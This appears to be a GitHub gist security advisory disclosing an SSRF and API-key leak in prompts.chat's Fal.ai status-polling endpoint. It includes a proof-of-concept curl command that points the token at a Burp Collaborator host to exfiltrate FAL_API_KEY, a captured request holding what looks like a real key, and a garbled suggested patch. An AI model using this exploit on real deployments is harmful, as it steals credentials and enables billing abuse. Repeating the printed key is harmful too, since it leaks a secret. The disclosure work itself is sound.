mdisec / **gist:27c0cac0ec6a8f3c8f85a18987ddb942**

prompts.chat | SSRF & Credential Leakage via Fal.ai Media Status Polling

gistfile1.md

SSRF & Credential Leakage via Fal.ai Media Status Polling

Severity: High **Type:** SSRF / Credential Leakage **Date:** 2026-03-24 **Status:** Confirmed (reproduced with Burp Collaborator) **CVSS 3.1:** 8.6 (High)

Executive Summary

The Fal.ai media generation status polling endpoint accepts a user-controlled `token` query parameter that contains two pipe-separated URLs. These URLs are fetched server-side with the `FAL_API_KEY` in the `Authorization` header. No validation constrains the URLs to Fal.ai-owned origins. Any authenticated user can point both URLs at an attacker-controlled server and exfiltrate the API key in a single request.

```
GET /status HTTP/1.1
host: 176cdvvql469qvv1vo1x5zw57wdn1fp4.oastify.com
connection: keep-alive
Authorization: Key b215dd30-6061-4812-8346-da6d2e63ac98:4fd6c390c3e051fa9c9607f4b2191051
x-vercel-id: fra1::8kqqw-1774364768202-2533345f8ae6
x-invocation-id: fra1::8kqqw-1774364768202-2533345f8ae6
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: br, gzip, deflate
sentry-trace: c9f7af766bf6f95a806eea440a7b2fc3-c8c51f4d33ec0730-0
baggage:
sentry-environment=vercel-production,sentry-release=0bd2b107064f705a9aeaf3f30ffd1109ce500aed,sentry-public_key=9c2eb3b4441745efad28a9
08001c30bf,sentry-trace_id=c9f7af766bf6f95a806eea440a7b2fc3,sentry-org_id=4510673866063872,sentry-sampled=false,sentry-sample_rand=0.
9716512498773853,sentry-sample_rate=0.1
```

Affected Files

File	Role
`src/app/api/media-generate/status/route.ts`	Accepts `token` from query string, passes to plugin
`src/lib/plugins/media-generators/fal.ts`	Splits token into two URLs, fetches both with `Authorization: Key ${FAL_API_KEY}`

Root Cause

The `startGeneration` function packs server-generated Fal.ai URLs into a client-visible token:

`fal.ts:251-256`

```
// Return status_url and response_url encoded in socketAccessToken for pollin
// Format: statusUrl|responseUrl
return {
  taskId: queueResponse.request_id,
  socketAccessToken: `${queueResponse.status_url}|${queueResponse.response_ur
};
```

This token is returned to the browser, which sends it back on every poll request. The `checkStatus` function blindly splits and fetches both URLs without verifying they belong to `fal.run`:

`fal.ts:266-274`

```
async checkStatus(socketAccessToken: string): Promise<PollStatusResult> {
  const [statusUrl, responseUrl] = socketAccessToken.split("|");

  if (!statusUrl || !responseUrl) {
    throw new Error("Invalid token format");
  }

  const status = await getFalRequestStatus(statusUrl);  // ← fetches attacker
```

Both `getFalRequestStatus` and `getFalRequestResult` attach the API key:

`fal.ts:112-123`

```
async function getFalRequestStatus(statusUrl: string): Promise<FalStatusRespo
  const apiKey = process.env.FAL_API_KEY;
  if (!apiKey) throw new Error("FAL_API_KEY is not configured");

  const response = await fetch(statusUrl, {
    method: "GET",
    headers: {
      "Authorization": `Key ${apiKey}`,   // ← leaked to any URL
    },
  });
  // ...
}
```

The same pattern exists in `getFalRequestResult` at line 136-155.

The trust boundary is crossed: server-generated URLs become attacker-controlled input on the return trip, and the server treats them as trusted Fal.ai endpoints.

Attack Flow

```
Legitimate flow:
  Server → startGeneration → Fal.ai returns status_url + response_url
  Server → packs into token:
"https://queue.fal.run/.../status|https://queue.fal.run/.../response"
  Client → polls: /api/media-generate/status?provider=fal&token=<token>
  Server → fetches queue.fal.run with API key → returns status

Attack flow:
  Attacker → sends: /api/media-generate/status?
provider=fal&token=https://ATTACKER/status|https://ATTACKER/result
  Server → fetches https://ATTACKER/status with Authorization: Key fk-xxxxx
  Attacker → receives FAL_API_KEY in the Authorization header
```

Proof of Concept

Prerequisites: Any authenticated user account.

Step 1 — Send the crafted request

```
APP="http://localhost:3000"
SESSION_COOKIE="your-session-cookie-value"
EXFIL="https://176cdvvq1469qvv1vo1x5zw57wdn1fp4.oastify.com"

TOKEN="${EXFIL}/status|${EXFIL}/result"

curl -v \
  -b "next-auth.session-token=${SESSION_COOKIE}" \
  "${APP}/api/media-generate/status?provider=fal&token=$(python3 -c "import u
```

Step 2 — Observe in Burp Collaborator

The server makes a GET request to the Collaborator domain:

```
GET /status HTTP/1.1
Host: 176cdvvq1469qvv1vo1x5zw57wdn1fp4.oastify.com
Authorization: Key fk-xxxxxxxxxxxxxxxxxxxxxxxx
```

The `Authorization` header contains the `FAL_API_KEY`.

Step 3 — Exploit the key

The stolen key grants full access to the Fal.ai account: generate images/videos, list queue jobs, and consume the victim's billing quota.

Impact

Impact	Description
Credential leakage	`FAL_API_KEY` is sent to any URL the attacker specifies. The key grants full Fal.ai API access (generation, queue management, billing).
Financial abuse	Attacker uses the stolen key to generate unlimited media on the victim's Fal.ai account.
SSRF	Server fetches arbitrary URLs, enabling internal network scanning, cloud metadata access (`169.254.169.254`), and probing of internal services.

Impact	Description
Fake media injection	Attacker controls the response body. The `extractOutputUrls` function at line 316-348 returns whatever URLs the attacker provides, which the frontend may display or store as generated media.

Who can exploit this

Any authenticated user. No admin privileges required. The endpoint only checks `session?.user` (line 12), which is satisfied by any logged-in account.

Patch

Here my sugggested fix.

diff --git a/src/lib/plugins/media-generators/fal.ts b/src/lib/plugins/media-generators/fal.ts index 60b3ed8a..ddb209c4 100644 --- a/src/lib/plugins/media-generators/fal.ts +++ b/src/lib/plugins/media-generators/fal.ts @@ -24,6 +24,36 @@ import type {

const FAL_QUEUE_BASE = "https://queue.fal.run";

+const ALLOWED_FAL_HOSTS = new Set([

- "queue.fal.run",
- "fal.run", +]);
-

+/**

- - Validate that a URL points to a trusted Fal.ai origin.
- - Prevents SSRF by ensuring user-controlled tokens cannot redirect
- - authenticated requests to arbitrary servers.
- -
- - Why not encode the token as query parameters instead of full URLs?
- - Fal.ai queue URLs embed the model name in the path (e.g.
- - https://queue.fal.run/fal-ai/flux-pro/v1.1-ultra/requests//status)
- - and model names contain slashes. Reconstructing the URL server-side
- - from individual components would require parsing and re-joining those
- - slashes, which is fragile. Origin validation on the full URL is simpler
- - and equally secure.

- */ +export function assertFalOrigin(url: string): void {
- let parsed: URL;
- try {
- parsed = new URL(url);
- } catch {
- throw new Error("Invalid Fal.ai URL");
- }
- if (parsed.protocol !== "https:" || !ALLOWED_FAL_HOSTS.has(parsed.hostname)) {
- throw new Error("Invalid Fal.ai URL: untrusted origin");
- } +}
-

function parseModels(envVar: string | undefined, type: "image" | "video" | "audio"): MediaGeneratorModel[] { if (!envVar) return []; return envVar @@ -112,6 +142,8 @@ async function submitToFalQueue(export async function getFalRequestStatus(statusUrl: string): Promise {

- assertFalOrigin(statusUrl);
- const apiKey = process.env.FAL_API_KEY; if (!apiKey) throw new Error("FAL_API_KEY is not configured");

@@ -136,6 +168,8 @@ export async function getFalRequestStatus(export async function getFalRequestResult(responseUrl: string): Promise<FalImageOutput | FalVideoOutput | FalAudioOutput> {

- assertFalOrigin(responseUrl);
- const apiKey = process.env.FAL_API_KEY; if (!apiKey) throw new Error("FAL_API_KEY is not configured");